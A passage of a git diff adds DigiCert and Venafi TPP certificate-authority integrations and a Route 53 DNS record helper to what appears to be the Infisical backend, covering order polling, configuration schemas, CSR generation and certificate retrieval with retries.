+              if (result.status === CertificateRequestStatus.FAILED) failed += 1;
+            } catch (error) {
+              logger.error(error, `DigiCert polling iteration failed [certificateRequestId=${request.id}]`);
+            }
+          }
+
+          cursor = new Date(requests[requests.length - 1].createdAt);
+          hasMore = requests.length === QUEUE_BATCH_SIZE;
+        }
+
+        logger.info(
+          `${QueueJobs.DigiCertOrderPolling}: completed [processed=${processed}] [issued=${issued}] [failed=${failed}]`
+        );
+      } catch (error) {
+        logger.error(error, `${QueueJobs.DigiCertOrderPolling}: polling task failed`);
+        throw error;
+      }
+    });
+
+    await queueService.upsertJobScheduler(
+      QueueName.DigiCertOrderPolling,
+      `${JOB_SCHEDULER_PREFIX}:${QueueJobs.DigiCertOrderPolling}`,
+      { pattern: DIGICERT_POLL_CRON_SCHEDULE },
+      { name: QueueJobs.DigiCertOrderPolling }
+    );
+
+    queueService.listen(QueueName.DigiCertOrderPolling, "failed", (_, err) => {
+      logger.error(err, `${QueueName.DigiCertOrderPolling}: failed`);
+    });
+  };
+
+  return {
+    init
+  };
+};
diff --git a/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-schemas.ts b/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-schemas.ts
new file mode 100644
index 00000000000..462b9dab429
--- /dev/null
+++ b/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-schemas.ts
@@ -0,0 +1,55 @@
+import { z } from "zod";
+
+import { CaType } from "../certificate-authority-enums";
+import {
+  BaseCertificateAuthoritySchema,
+  GenericCreateCertificateAuthorityFieldsSchema,
+  GenericUpdateCertificateAuthorityFieldsSchema
+} from "../certificate-authority-schemas";
+
+export const DigiCertCertificateAuthorityConfigurationSchema = z.object({
+  appConnectionId: z.string().uuid().trim().describe("DigiCert App Connection ID"),
+  organizationId: z
+    .number()
+    .int()
+    .positive()
+    .describe("CertCentral Organization ID that will be listed on issued certificates"),
+  productNameId: z
+    .string()
+    .trim()
+    .min(1)
+    .describe(
+      "The DigiCert product name_id used for issuance (e.g. ssl_plus, ssl_ev_plus). Fetch available products from GET /app-connections/digicert/:id/products."
+    )
+});
+
+export const DigiCertCertificateAuthoritySchema = BaseCertificateAuthoritySchema.extend({
+  type: z.literal(CaType.DIGICERT),
+  configuration: DigiCertCertificateAuthorityConfigurationSchema
+});
+
+export const CreateDigiCertCertificateAuthoritySchema = GenericCreateCertificateAuthorityFieldsSchema(
+  CaType.DIGICERT
+).extend({
+  configuration: DigiCertCertificateAuthorityConfigurationSchema
+});
+
+export const UpdateDigiCertCertificateAuthoritySchema = GenericUpdateCertificateAuthorityFieldsSchema(
+  CaType.DIGICERT
+).extend({
+  configuration: DigiCertCertificateAuthorityConfigurationSchema.optional()
+});
+
+export const DigiCertCertificateRequestMetadataSchema = z.object({
+  digicert: z.object({
+    orderId: z.number().int(),
+    certificateId: z.number().int().optional(),
+    productNameId: z.string(),
+    organizationId: z.number().int(),
+    orderPlacedAt: z.string(),
+    lastCheckedAt: z.string().optional(),
+    lastCheckStatus: z.string().optional(),
+    isRenewal: z.boolean().optional(),
+    originalCertificateId: z.string().uuid().optional()
+  })
+});
diff --git a/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-types.ts b/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-types.ts
new file mode 100644
index 00000000000..dcafe46db67
--- /dev/null
+++ b/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-types.ts
@@ -0,0 +1,16 @@
+import { z } from "zod";
+
+import {
+  CreateDigiCertCertificateAuthoritySchema,
+  DigiCertCertificateAuthoritySchema,
+  DigiCertCertificateRequestMetadataSchema,
+  UpdateDigiCertCertificateAuthoritySchema
+} from "./digicert-certificate-authority-schemas";
+
+export type TDigiCertCertificateAuthority = z.infer<typeof DigiCertCertificateAuthoritySchema>;
+
+export type TCreateDigiCertCertificateAuthorityDTO = z.infer<typeof CreateDigiCertCertificateAuthoritySchema>;
+
+export type TUpdateDigiCertCertificateAuthorityDTO = z.infer<typeof UpdateDigiCertCertificateAuthoritySchema>;
+
+export type TDigiCertCertificateRequestMetadata = z.infer<typeof DigiCertCertificateRequestMetadataSchema>;
diff --git a/backend/src/services/certificate-authority/dns-providers/route53.ts b/backend/src/services/certificate-authority/dns-providers/route53.ts
new file mode 100644
index 00000000000..cb14c242dce
--- /dev/null
+++ b/backend/src/services/certificate-authority/dns-providers/route53.ts
@@ -0,0 +1,66 @@
+import { ChangeResourceRecordSetsCommand, GetHostedZoneCommand, Route53Client } from "@aws-sdk/client-route-53";
+
+import { CustomAWSHasher } from "@app/lib/aws/hashing";
+import { crypto } from "@app/lib/crypto/cryptography";
+import { AWSRegion } from "@app/services/app-connection/app-connection-enums";
+import { getAwsConnectionConfig } from "@app/services/app-connection/aws/aws-connection-fns";
+import { TAwsConnectionConfig } from "@app/services/app-connection/aws/aws-connection-types";
+
+export type TRoute53Record = {
+  name: string;
+  type: "CNAME" | "TXT" | "A" | "AAAA";
+  value: string;
+  ttl?: number;
+  comment?: string;
+};
+
+const buildClient = async (connection: TAwsConnectionConfig) => {
+  // Route 53 is a global service — the region passed here only affects the signer, not the data plane.
+  // us-east-1 is AWS's canonical region for global services.
+  const config = await getAwsConnectionConfig(connection, AWSRegion.US_EAST_1);
+  return new Route53Client({
+    sha256: CustomAWSHasher,
+    useFipsEndpoint: crypto.isFipsModeEnabled(),
+    credentials: config.credentials,
+    region: config.region
+  });
+};
+
+const changeRecord = async (
+  connection: TAwsConnectionConfig,
+  hostedZoneId: string,
+  action: "UPSERT" | "DELETE",
+  record: TRoute53Record
+) => {
+  const route53Client = await buildClient(connection);
+  const defaultComment = `${action === "UPSERT" ? "Upsert" : "Delete"} ${record.type} record for ${record.name}`;
+  const command = new ChangeResourceRecordSetsCommand({
+    HostedZoneId: hostedZoneId,
+    ChangeBatch: {
+      Comment: record.comment ?? defaultComment,
+      Changes: [
+        {
+          Action: action,
+          ResourceRecordSet: {
+            Name: record.name,
+            Type: record.type,
+            TTL: record.ttl ?? 300,
+            ResourceRecords: [{ Value: record.value }]
+          }
+        }
+      ]
+    }
+  });
+  await route53Client.send(command);
+};
+
+export const route53UpsertRecord = (connection: TAwsConnectionConfig, hostedZoneId: string, record: TRoute53Record) =>
+  changeRecord(connection, hostedZoneId, "UPSERT", record);
+
+export const route53DeleteRecord = (connection: TAwsConnectionConfig, hostedZoneId: string, record: TRoute53Record) =>
+  changeRecord(connection, hostedZoneId, "DELETE", record);
+
+export const route53GetHostedZone = async (connection: TAwsConnectionConfig, hostedZoneId: string) => {
+  const route53Client = await buildClient(connection);
+  await route53Client.send(new GetHostedZoneCommand({ Id: hostedZoneId }));
+};
diff --git a/backend/src/services/certificate-authority/venafi-tpp/venafi-tpp-certificate-authority-fns.ts b/backend/src/services/certificate-authority/venafi-tpp/venafi-tpp-certificate-authority-fns.ts
new file mode 100644
index 00000000000..b8fabb7283a
--- /dev/null
+++ b/backend/src/services/certificate-authority/venafi-tpp/venafi-tpp-certificate-authority-fns.ts
@@ -0,0 +1,950 @@
+/* eslint-disable no-await-in-loop */
+import * as x509 from "@peculiar/x509";
+import { AxiosError } from "axios";
+import RE2 from "re2";
+
+import { TableName } from "@app/db/schemas";
+import { TGatewayV2ServiceFactory } from "@app/ee/services/gateway-v2/gateway-v2-service";
+import { crypto } from "@app/lib/crypto/cryptography";
+import { BadRequestError, NotFoundError } from "@app/lib/errors";
+import { ProcessedPermissionRules } from "@app/lib/knex/permission-filter-utils";
+import { logger } from "@app/lib/logger";
+import { OrgServiceActor } from "@app/lib/types";
+import { TAppConnectionDALFactory } from "@app/services/app-connection/app-connection-dal";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import { decryptAppConnectionCredentials } from "@app/services/app-connection/app-connection-fns";
+import { TAppConnectionServiceFactory } from "@app/services/app-connection/app-connection-service";
+import {
+  authenticateVenafiTpp,
+  getVenafiTppHeaders,
+  requestWithVenafiTppGateway,
+  revokeVenafiTppToken
+} from "@app/services/app-connection/venafi-tpp/venafi-tpp-connection-fns";
+import { TCertificateBodyDALFactory } from "@app/services/certificate/certificate-body-dal";
+import { TCertificateDALFactory } from "@app/services/certificate/certificate-dal";
+import { TCertificateSecretDALFactory } from "@app/services/certificate/certificate-secret-dal";
+import {
+  CertExtendedKeyUsage,
+  CertKeyAlgorithm,
+  CertKeyUsage,
+  CertStatus,
+  CertSubjectAlternativeNameType,
+  mapSanTypeToX509Type
+} from "@app/services/certificate/certificate-types";
+import { calculateRenewalThreshold, parseTtlToDays } from "@app/services/certificate-common/certificate-issuance-utils";
+import { TCertificateProfileDALFactory } from "@app/services/certificate-profile/certificate-profile-dal";
+import { TKmsServiceFactory } from "@app/services/kms/kms-service";
+import { TProjectDALFactory } from "@app/services/project/project-dal";
+import { getProjectKmsCertificateKeyId } from "@app/services/project/project-fns";
+
+import { TCertificateAuthorityDALFactory } from "../certificate-authority-dal";
+import { CaStatus, CaType } from "../certificate-authority-enums";
+import { keyAlgorithmToAlgCfg } from "../certificate-authority-fns";
+import { TExternalCertificateAuthorityDALFactory } from "../external-certificate-authority-dal";
+import {
+  TCreateVenafiTppCertificateAuthorityDTO,
+  TUpdateVenafiTppCertificateAuthorityDTO,
+  TVenafiTppCertificateAuthority
+} from "./venafi-tpp-certificate-authority-types";
+
+// -- SAN type codes for Venafi TPP SubjectAltNames --
+const VENAFI_SAN_TYPE_BY_SAN_TYPE: Record<CertSubjectAlternativeNameType, number> = {
+  [CertSubjectAlternativeNameType.DNS_NAME]: 2,
+  [CertSubjectAlternativeNameType.IP_ADDRESS]: 7,
+  [CertSubjectAlternativeNameType.EMAIL]: 1,
+  [CertSubjectAlternativeNameType.URI]: 6
+};
+
+type TVenafiTppCertificateRequest = {
+  PolicyDN: string;
+  PKCS10: string;
+  ObjectName: string;
+  SubjectAltNames?: Array<{ Type: number; Name: string }>;
+  Origin?: string;
+  CASpecificAttributes?: Array<{ Name: string; Value: string }>;
+  WorkToDoTimeout?: number;
+  DisableAutomaticRenewal?: boolean;
+};
+
+type TVenafiTppRequestResponse = {
+  CertificateDN: string;
+  Guid: string;
+  CertificateData?: string;
+  Filename?: string;
+  Format?: string;
+};
+
+type TVenafiTppRetrieveResponse = {
+  CertificateData: string;
+  Filename: string;
+  Format: string;
+};
+
+const calculateFinalRenewBeforeDays = (
+  profile: { apiConfig?: { autoRenew?: boolean; renewBeforeDays?: number } } | undefined,
+  ttl: string
+): number | undefined => {
+  if (!profile?.apiConfig?.autoRenew) {
+    return undefined;
+  }
+
+  const profileRenewBeforeDays = profile.apiConfig.renewBeforeDays;
+  if (profileRenewBeforeDays === undefined) {
+    return undefined;
+  }
+
+  return calculateRenewalThreshold(profileRenewBeforeDays, parseTtlToDays(ttl));
+};
+
+const normalizeTppUrl = (tppUrl: string): string => {
+  return tppUrl.replace(new RE2("\\/+$"), "");
+};
+
+const sanToVenafiFormat = (san: {
+  type: CertSubjectAlternativeNameType;
+  value: string;
+}): {
+  Type: number;
+  Name: string;
+} => ({
+  Type: VENAFI_SAN_TYPE_BY_SAN_TYPE[san.type],
+  Name: san.value
+});
+
+const getVenafiTppConnection = async (
+  appConnectionId: string,
+  appConnectionDAL: Pick<TAppConnectionDALFactory, "findById">,
+  kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">
+) => {
+  const appConnection = await appConnectionDAL.findById(appConnectionId);
+  if (!appConnection) {
+    logger.error({ appConnectionId }, "Venafi TPP: App connection not found for credential decryption");
+    throw new NotFoundError({ message: `App connection with ID '${appConnectionId}' not found` });
+  }
+
+  if (appConnection.app !== AppConnection.VenafiTpp) {
+    logger.error(
+      { appConnectionId, actualApp: appConnection.app },
+      "Venafi TPP: App connection is not a Venafi TPP connection"
+    );
+    throw new BadRequestError({
+      message: `Connection with ID '${appConnectionId}' is not a Venafi TPP connection`
+    });
+  }
+
+  if (!appConnection.encryptedCredentials) {
+    logger.error({ appConnectionId }, "Venafi TPP: App connection has no encrypted credentials");
+    throw new BadRequestError({ message: "App connection has no stored credentials" });
+  }
+
+  const credentials = (await decryptAppConnectionCredentials({
+    orgId: appConnection.orgId,
+    kmsService,
+    encryptedCredentials: appConnection.encryptedCredentials,
+    projectId: appConnection.projectId
+  })) as {
+    tppUrl: string;
+    clientId: string;
+    username: string;
+    password: string;
+  };
+
+  return { credentials, gatewayId: appConnection.gatewayId ?? null };
+};
+
+const submitCertificateToTpp = async ({
+  appConnection,
+  baseUrl,
+  accessToken,
+  policyDN,
+  csrPem,
+  objectName,
+  altNames,
+  workToDoTimeout = 30,
+  gatewayV2Service
+}: {
+  appConnection: { gatewayId?: string | null };
+  baseUrl: string;
+  accessToken: string;
+  policyDN: string;
+  csrPem: string;
+  objectName: string;
+  altNames?: Array<{ type: CertSubjectAlternativeNameType; value: string }>;
+  workToDoTimeout?: number;
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">;
+}): Promise<TVenafiTppRequestResponse> => {
+  const requestBody: TVenafiTppCertificateRequest = {
+    PolicyDN: policyDN,
+    PKCS10: csrPem,
+    ObjectName: objectName,
+    Origin: "Infisical",
+    DisableAutomaticRenewal: true,
+    WorkToDoTimeout: workToDoTimeout
+  };
+
+  if (altNames && altNames.length > 0) {
+    requestBody.SubjectAltNames = altNames.map(sanToVenafiFormat);
+  }
+
+  logger.info(
+    {
+      policyDN,
+      objectName,
+      sanCount: requestBody.SubjectAltNames?.length ?? 0
+    },
+    "Venafi TPP: Submitting certificate request"
+  );
+
+  const { data, status } = await requestWithVenafiTppGateway<TVenafiTppRequestResponse>(
+    appConnection,
+    gatewayV2Service,
+    {
+      method: "POST",
+      url: `${baseUrl}/vedsdk/certificates/request`,
+      data: requestBody,
+      headers: getVenafiTppHeaders(accessToken),
+      validateStatus: (s) => s === 200 || s === 202
+    }
+  );
+
+  logger.info(
+    {
+      certificateDN: data.CertificateDN,
+      guid: data.Guid,
+      httpStatus: status,
+      hasCertificateData: !!data.CertificateData
+    },
+    "Venafi TPP: Certificate request submitted"
+  );
+
+  return data;
+};
+
+const retrieveCertificateFromTpp = async ({
+  appConnection,
+  baseUrl,
+  accessToken,
+  certificateDN,
+  includeChain = true,
+  gatewayV2Service
+}: {
+  appConnection: { gatewayId?: string | null };
+  baseUrl: string;
+  accessToken: string;
+  certificateDN: string;
+  includeChain?: boolean;
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">;
+}): Promise<{ certificate: string; chain: string }> => {
+  logger.info({ certificateDN, includeChain }, "Venafi TPP: Retrieving certificate");
+
+  const { data, status } = await requestWithVenafiTppGateway<TVenafiTppRetrieveResponse>(
+    appConnection,
+    gatewayV2Service,
+    {
+      method: "POST",
+      url: `${baseUrl}/vedsdk/certificates/retrieve`,
+      data: {
+        CertificateDN: certificateDN,
+        Format: "Base64",
+        IncludeChain: includeChain,
+        IncludePrivateKey: false,
+        RootFirstOrder: false
+      },
+      headers: getVenafiTppHeaders(accessToken),
+      validateStatus: (s) => s === 200 || s === 202
+    }
+  );
+
+  if (status === 202) {
+    logger.info({ certificateDN }, "Venafi TPP: Certificate not yet ready (202 Accepted)");
+    throw new BadRequestError({
+      message: "Certificate is not yet ready for retrieval. It may still be pending processing or approval."
+    });
+  }
+
+  if (!data.CertificateData) {
+    throw new BadRequestError({ message: "Venafi TPP returned empty certificate data" });
+  }
+
+  const decodedData = Buffer.from(data.CertificateData, "base64").toString("utf8");
+
+  const certBlocks = decodedData.match(new RE2("-----BEGIN CERTIFICATE-----[\\s\\S]*?-----END CERTIFICATE-----", "g"));
+
+  if (!certBlocks || certBlocks.length === 0) {
+    throw new BadRequestError({ message: "Failed to parse certificate data from Venafi TPP response" });
+  }
+
+  const leafCert = certBlocks[0];
+  const chainCerts = certBlocks.length > 1 ? certBlocks.slice(1).join("\n") : "";
+
+  logger.info(
+    {
+      certificateDN,
+      chainCertCount: certBlocks.length - 1
+    },
+    "Venafi TPP: Certificate retrieved successfully"
+  );
+
+  return {
+    certificate: leafCert,
+    chain: chainCerts
+  };
+};
+
+export const castDbEntryToVenafiTppCertificateAuthority = (
+  ca: Awaited<ReturnType<TCertificateAuthorityDALFactory["findByIdWithAssociatedCa"]>>
+): TVenafiTppCertificateAuthority & { credentials: Buffer | null | undefined } => {
+  if (!ca.externalCa?.id) {
+    throw new BadRequestError({ message: "Malformed Venafi TPP certificate authority" });
+  }
+
+  if (!ca.externalCa.appConnectionId) {
+    throw new BadRequestError({
+      message: "Venafi TPP app connection ID is missing from certificate authority configuration"
+    });
+  }
+
+  const configuration = ca.externalCa.configuration as { policyDN?: string } | null;
+
+  if (!configuration?.policyDN) {
+    throw new BadRequestError({
+      message: "Venafi TPP policy DN is missing from certificate authority configuration"
+    });
+  }
+
+  return {
+    id: ca.id,
+    type: CaType.VENAFI_TPP,
+    enableDirectIssuance: ca.enableDirectIssuance,
+    name: ca.name,
+    projectId: ca.projectId,
+    credentials: ca.externalCa.credentials,
+    configuration: {
+      appConnectionId: ca.externalCa.appConnectionId,
+      policyDN: configuration.policyDN
+    },
+    status: ca.status as CaStatus
+  };
+};
+
+type TVenafiTppCertificateAuthorityFnsDeps = {
+  appConnectionDAL: Pick<TAppConnectionDALFactory, "findById" | "updateById">;
+  appConnectionService: Pick<TAppConnectionServiceFactory, "validateAppConnectionUsageById">;
+  certificateAuthorityDAL: Pick<
+    TCertificateAuthorityDALFactory,
+    "create" | "transaction" | "findByIdWithAssociatedCa" | "updateById" | "findWithAssociatedCa" | "findById"
+  >;
+  externalCertificateAuthorityDAL: Pick<TExternalCertificateAuthorityDALFactory, "create" | "update">;
+  certificateDAL: Pick<TCertificateDALFactory, "create" | "transaction" | "updateById">;
+  certificateBodyDAL: Pick<TCertificateBodyDALFactory, "create">;
+  certificateSecretDAL: Pick<TCertificateSecretDALFactory, "create">;
+  kmsService: Pick<TKmsServiceFactory, "encryptWithKmsKey" | "generateKmsKey" | "createCipherPairWithDataKey">;
+  projectDAL: Pick<TProjectDALFactory, "findById" | "findOne" | "updateById" | "transaction">;
+  certificateProfileDAL?: Pick<TCertificateProfileDALFactory, "findById">;
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">;
+};
+
+export const VenafiTppCertificateAuthorityFns = ({
+  appConnectionDAL,
+  appConnectionService,
+  certificateAuthorityDAL,
+  externalCertificateAuthorityDAL,
+  certificateDAL,
+  certificateBodyDAL,
+  certificateSecretDAL,
+  kmsService,
+  projectDAL,
+  certificateProfileDAL,
+  gatewayV2Service
+}: TVenafiTppCertificateAuthorityFnsDeps) => {
+  const createCertificateAuthority = async ({
+    name,
+    projectId,
+    configuration,
+    actor,
+    status
+  }: {
+    status: CaStatus;
+    name: string;
+    projectId: string;
+    configuration: TCreateVenafiTppCertificateAuthorityDTO["configuration"];
+    actor: OrgServiceActor;
+  }) => {
+    const { appConnectionId, policyDN } = configuration;
+    const appConnection = await appConnectionDAL.findById(appConnectionId);
+
+    if (!appConnection) {
+      throw new NotFoundError({ message: `App connection with ID '${appConnectionId}' not found` });
+    }
+
+    if (appConnection.app !== AppConnection.VenafiTpp) {
+      throw new BadRequestError({
+        message: `App connection with ID '${appConnectionId}' is not a Venafi TPP connection`
+      });
+    }
+
+    await appConnectionService.validateAppConnectionUsageById(
+      appConnection.app as AppConnection,
+      { connectionId: appConnectionId, projectId },
+      actor
+    );
+
+    logger.info({ projectId, appConnectionId, policyDN }, "Venafi TPP: Creating certificate authority");
+
+    const caEntity = await certificateAuthorityDAL.transaction(async (tx) => {
+      try {
+        const ca = await certificateAuthorityDAL.create(
+          {
+            projectId,
+            enableDirectIssuance: false,
+            name,
+            status
+          },
+          tx
+        );
+
+        await externalCertificateAuthorityDAL.create(
+          {
+            caId: ca.id,
+            appConnectionId,
+            type: CaType.VENAFI_TPP,
+            configuration: { policyDN }
+          },
+          tx
+        );
+
+        return await certificateAuthorityDAL.findByIdWithAssociatedCa(ca.id, tx);
+      } catch (error) {
+        // 23505 = unique constraint violation
+        // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access, @typescript-eslint/no-explicit-any
+        if ((error as any)?.error?.code === "23505") {
+          throw new BadRequestError({
+            message: "Certificate authority with the same name already exists in your project"
+          });
+        }
+        throw error;
+      }
+    });
+
+    if (!caEntity.externalCa?.id) {
+      throw new BadRequestError({ message: "Failed to create Venafi TPP certificate authority" });
+    }
+
+    logger.info({ caId: caEntity.id, projectId }, "Venafi TPP: Certificate authority created successfully");
+
+    return castDbEntryToVenafiTppCertificateAuthority(caEntity);
+  };
+
+  const updateCertificateAuthority = async ({
+    id,
+    configuration,
+    actor,
+    status,
+    name
+  }: {
+    id: string;
+    configuration?: TUpdateVenafiTppCertificateAuthorityDTO["configuration"];
+    actor: OrgServiceActor;
+    status?: CaStatus;
+    name?: string;
+  }) => {
+    const ca = await certificateAuthorityDAL.findByIdWithAssociatedCa(id);
+    if (!ca || !ca.externalCa) {
+      throw new NotFoundError({ message: `Certificate authority with ID '${id}' not found` });
+    }
+
+    const updatedCa = await certificateAuthorityDAL.transaction(async (tx) => {
+      if (configuration) {
+        if (configuration.appConnectionId) {
+          const appConnection = await appConnectionDAL.findById(configuration.appConnectionId);
+          if (!appConnection) {
+            throw new NotFoundError({
+              message: `App connection with ID '${configuration.appConnectionId}' not found`
+            });
+          }
+          if (appConnection.app !== AppConnection.VenafiTpp) {
+            throw new BadRequestError({
+              message: `App connection with ID '${configuration.appConnectionId}' is not a Venafi TPP connection`
+            });
+          }
+
+          await appConnectionService.validateAppConnectionUsageById(
+            appConnection.app as AppConnection,
+            { connectionId: configuration.appConnectionId, projectId: ca.projectId },
+            actor
+          );
+        }
+
+        const existingConfig = (ca.externalCa?.configuration as { policyDN?: string } | null) || {};
+        await externalCertificateAuthorityDAL.update(
+          { caId: id, type: CaType.VENAFI_TPP },
+          {
+            ...(configuration.appConnectionId && { appConnectionId: configuration.appConnectionId }),
+            configuration: {
+              ...existingConfig,
+              ...(configuration.policyDN && { policyDN: configuration.policyDN })
+            }
+          },
+          tx
+        );
+      }
+
+      if (name || status) {
+        await certificateAuthorityDAL.updateById(
+          id,
+          {
+            name,
+            status
+          },
+          tx
+        );
+      }
+
+      return certificateAuthorityDAL.findByIdWithAssociatedCa(id, tx);
+    });
+
+    if (!updatedCa.externalCa?.id) {
+      throw new BadRequestError({ message: "Failed to update Venafi TPP certificate authority" });
+    }
+
+    return castDbEntryToVenafiTppCertificateAuthority(updatedCa);
+  };
+
+  const listCertificateAuthorities = async ({
+    projectId,
+    permissionFilters
+  }: {
+    projectId: string;
+    permissionFilters?: ProcessedPermissionRules;
+  }) => {
+    const cas = await certificateAuthorityDAL.findWithAssociatedCa(
+      {
+        [`${TableName.CertificateAuthority}.projectId` as "projectId"]: projectId,
+        [`${TableName.ExternalCertificateAuthority}.type` as "type"]: CaType.VENAFI_TPP
+      },
+      {},
+      permissionFilters
+    );
+
+    return cas.map(castDbEntryToVenafiTppCertificateAuthority);
+  };
+
+  const orderCertificateFromProfile = async ({
+    caId,
+    profileId,
+    commonName,
+    altNames = [],
+    keyUsages = [],
+    extendedKeyUsages = [],
+    validity,
+    signatureAlgorithm,
+    keyAlgorithm = CertKeyAlgorithm.RSA_2048,
+    isRenewal,
+    originalCertificateId,
+    csr,
+    organization,
+    organizationalUnit,
+    country,
+    state,
+    locality
+  }: {
+    caId: string;
+    profileId: string;
+    commonName: string;
+    altNames?: Array<{ type: CertSubjectAlternativeNameType; value: string }>;
+    keyUsages?: CertKeyUsage[];
+    extendedKeyUsages?: CertExtendedKeyUsage[];
+    validity: { ttl: string };
+    signatureAlgorithm?: string;
+    keyAlgorithm?: CertKeyAlgorithm;
+    isRenewal?: boolean;
+    originalCertificateId?: string;
+    csr?: string;
+    organization?: string;
+    organizationalUnit?: string;
+    country?: string;
+    state?: string;
+    locality?: string;
+  }) => {
+    const ca = await certificateAuthorityDAL.findByIdWithAssociatedCa(caId);
+    if (!ca.externalCa || ca.externalCa.type !== CaType.VENAFI_TPP) {
+      logger.error(
+        { caId, externalCaType: ca.externalCa?.type },
+        "Venafi TPP: CA is not a Venafi TPP certificate authority"
+      );
+      throw new BadRequestError({ message: "CA is not a Venafi TPP certificate authority" });
+    }
+
+    const venafiCa = castDbEntryToVenafiTppCertificateAuthority(ca);
+    if (venafiCa.status !== CaStatus.ACTIVE) {
+      logger.error({ caId, status: venafiCa.status }, "Venafi TPP: Certificate authority is disabled");
+      throw new BadRequestError({ message: "Certificate authority is disabled" });
+    }
+
+    logger.info(
+      {
+        caId,
+        profileId,
+        commonName,
+        policyDN: venafiCa.configuration.policyDN,
+        altNameCount: altNames.length
+      },
+      "Venafi TPP: Starting certificate order from profile"
+    );
+
+    const certificateManagerKmsId = await getProjectKmsCertificateKeyId({
+      projectId: ca.projectId,
+      projectDAL,
+      kmsService
+    });
+
+    const kmsEncryptor = await kmsService.encryptWithKmsKey({
+      kmsId: certificateManagerKmsId
+    });
+
+    const { credentials, gatewayId } = await getVenafiTppConnection(
+      venafiCa.configuration.appConnectionId,
+      appConnectionDAL,
+      kmsService
+    );
+
+    const baseUrl = normalizeTppUrl(credentials.tppUrl);
+    const appConnection = { gatewayId };
+
+    let csrPem: string;
+    let skLeaf: string | undefined;
+
+    if (csr) {
+      csrPem = csr;
+      skLeaf = undefined;
+      logger.info({ caId, commonName }, "Venafi TPP: Using user-provided CSR");
+    } else {
+      let alg;
+      if (signatureAlgorithm) {
+        switch (signatureAlgorithm.toUpperCase()) {
+          case "RSA-SHA256":
+          case "SHA256WITHRSA":
+            alg = keyAlgorithmToAlgCfg(CertKeyAlgorithm.RSA_2048);
+            break;
+          case "RSA-SHA384":
+          case "SHA384WITHRSA":
+            alg = keyAlgorithmToAlgCfg(CertKeyAlgorithm.RSA_3072);
+            break;
+          case "RSA-SHA512":
+          case "SHA512WITHRSA":
+            alg = keyAlgorithmToAlgCfg(CertKeyAlgorithm.RSA_4096);
+            break;
+          case "ECDSA-SHA256":
+          case "SHA256WITHECDSA":
+            alg = keyAlgorithmToAlgCfg(CertKeyAlgorithm.ECDSA_P256);
+            break;
+          case "ECDSA-SHA384":
+          case "SHA384WITHECDSA":
+            alg = keyAlgorithmToAlgCfg(CertKeyAlgorithm.ECDSA_P384);
+            break;
+          case "ECDSA-SHA512":
+          case "SHA512WITHECDSA":
+            alg = keyAlgorithmToAlgCfg(CertKeyAlgorithm.ECDSA_P521);
+            break;
+          default:
+            alg = keyAlgorithmToAlgCfg(keyAlgorithm);
+            break;
+        }
+      } else {
+        alg = keyAlgorithmToAlgCfg(keyAlgorithm);
+      }
+
+      const leafKeys = await crypto.nativeCrypto.subtle.generateKey(alg, true, ["sign", "verify"]);
+      const skLeafObj = crypto.nativeCrypto.KeyObject.from(leafKeys.privateKey);
+      skLeaf = skLeafObj.export({ format: "pem", type: "pkcs8" }) as string;
+
+      const dnParts: string[] = [`CN=${commonName}`];
+      if (organization) dnParts.push(`O=${organization}`);
+      if (organizationalUnit) dnParts.push(`OU=${organizationalUnit}`);
+      if (locality) dnParts.push(`L=${locality}`);
+      if (state) dnParts.push(`ST=${state}`);
+      if (country) dnParts.push(`C=${country}`);
+      const subjectDN = dnParts.join(", ");
+
+      const sanExtensions: x509.SubjectAlternativeNameExtension[] = [];
+      if (altNames.length > 0) {
+        sanExtensions.push(
+          new x509.SubjectAlternativeNameExtension(
+            altNames.map((san) => ({ type: mapSanTypeToX509Type(san.type), value: san.value })),
+            false
+          )
+        );
+      }
+
+      const csrObj = await x509.Pkcs10CertificateRequestGenerator.create({
+        name: subjectDN,
+        keys: leafKeys,
+        signingAlgorithm: alg,
+        ...(sanExtensions.length > 0 && { extensions: sanExtensions })
+      });
+
+      csrPem = csrObj.toString("pem");
+    }
+
+    let accessToken: string | undefined;
+
+    try {
+      const authResponse = await authenticateVenafiTpp({ gatewayId, credentials }, gatewayV2Service);
+      accessToken = authResponse.access_token;
+
+      const requestResponse = await submitCertificateToTpp({
+        appConnection,
+        baseUrl,
+        accessToken,
+        policyDN: venafiCa.configuration.policyDN,
+        csrPem,
+        objectName: commonName,
+        altNames,
+        workToDoTimeout: 60,
+        gatewayV2Service
+      });
+
+      let certificateResult: { certificate: string; chain: string } | undefined;
+
+      if (requestResponse.CertificateData) {
+        const decodedData = Buffer.from(requestResponse.CertificateData, "base64").toString("utf8");
+        const certBlocks = decodedData.match(
+          new RE2("-----BEGIN CERTIFICATE-----[\\s\\S]*?-----END CERTIFICATE-----", "g")
+        );
+
+        if (certBlocks && certBlocks.length > 0) {
+          certificateResult = {
+            certificate: certBlocks[0],
+            chain: certBlocks.length > 1 ? certBlocks.slice(1).join("\n") : ""
+          };
+        }
+      }
+
+      if (!certificateResult) {
+        const maxRetries = 10;
+        const initialDelay = 3000;
+        let lastError: Error | null = null;
+
+        for (let attempt = 0; attempt < maxRetries; attempt += 1) {
+          try {
+            certificateResult = await retrieveCertificateFromTpp({
+              appConnection,
+              baseUrl,
+              accessToken,
+              certificateDN: requestResponse.CertificateDN,
+              includeChain: true,
+              gatewayV2Service
+            });
+            break;
+          } catch (error) {
+            lastError = error as Error;
+            logger.warn(
+              {
+                attempt: attempt + 1,
+                maxRetries,
+                certificateDN: requestResponse.CertificateDN,
+                error: (error as Error).message
+              },
+              "Venafi TPP: Certificate not yet available, retrying"
+            );
+
+            if (attempt < maxRetries - 1) {
+              const delay = initialDelay * 2 ** attempt;
+              await new Promise((resolve) => {
+                setTimeout(resolve, Math.min(delay, 30000));
+              });
+            }
+          }
+        }
+
+        if (!certificateResult) {
+          logger.error(
+            {
+              caId,
+              commonName,
+              certificateDN: requestResponse.CertificateDN,
+              maxRetries,
+              lastError: lastError?.message
+            },
